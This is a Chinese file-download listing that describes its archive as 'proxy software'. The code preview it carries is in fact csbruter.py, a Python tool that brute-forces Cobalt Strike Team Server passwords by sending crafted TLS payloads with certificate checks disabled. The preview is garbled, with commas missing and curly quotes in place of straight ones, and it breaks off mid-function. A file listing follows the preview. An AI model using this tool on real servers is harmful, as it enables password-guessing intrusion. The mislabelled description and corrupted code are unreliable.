• 大小: 3.28KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2024-05-10
  • 语言: Python
  • 标签: http  Tt  TP  代理  

资源简介

这是一个代理软件

资源截图

代码片段和文件信息

#!/usr/bin/env python3

import time
import socket
import ssl
import argparse
import concurrent.futures
import sys

# csbrute.py - Cobalt Strike Team Server Password Brute Forcer

# https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi

MIN_PYTHON = (3 3)
if sys.version_info < MIN_PYTHON:
    sys.exit(“Python %s.%s or later is required.\n“ % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument(“host“
                    help=“Teamserver address“)
parser.add_argument(“wordlist“ nargs=“?“
                    help=“Newline-delimited word list file“)
parser.add_argument(“-p“ dest=“port“ default=50050 type=int
                    help=“Teamserver port“)
parser.add_argument(“-t“ dest=“threads“ default=25 type=int
                    help=“Concurrency level“)

args = parser.parse_args()

# https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket


class NotConnectedException(Exception):
    def __init__(self message=None node=None):
        self.message = message
        self.node = node


class DisconnectedException(Exception):
    def __init__(self message=None node=None):
        self.message = message
        self.node = node


class Connector:
    def __init__(self):
        self.sock = None
        self.ssl_sock = None
        self.ctx = ssl.SSLContext()
        self.ctx.verify_mode = ssl.CERT_NONE
        pass

    def is_connected(self):
        return self.sock and self.ssl_sock

    def open(self hostname port):
        self.sock = socket.socket(socket.AF_INET socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)

        if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
            self.ssl_sock.connect((ipaddress port))
        else:
            self.ssl_sock.connect((hostname port))

    def close(self):
        if self.sock:
            self.sock.close()
        self.sock = None
        self.ssl_sock = None

    def send(self buffer):
        if not self.ssl_sock: raise NotConnectedException(“Not connected (SSL Socket is null)“)
        self.ssl_sock.sendall(buffer)

    def receive(self):
        if not self.ssl_sock: raise NotConnectedException(“Not connected (SSL Socket is null)“)
        received_size = 0
        data_buffer = b““

        while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)

        return data_buffer


def passwordcheck(password):
    if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host args.port)
        payload = bytearray(b“\x00\x00\xbe\xef“) + len(password).to_bytes(1 “big“ signed=True) + bytes(
            bytes(password “ascii“).ljust(256 b“A“))
        conn.send(payload)
        if conn.is_connected(): result

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2018-01-30 18:57  csbruter-master\
     文件        2590  2018-01-30 18:57  csbruter-master\README.md
     文件        4691  2018-01-30 18:57  csbruter-master\csbruter.py

评论

共有 条评论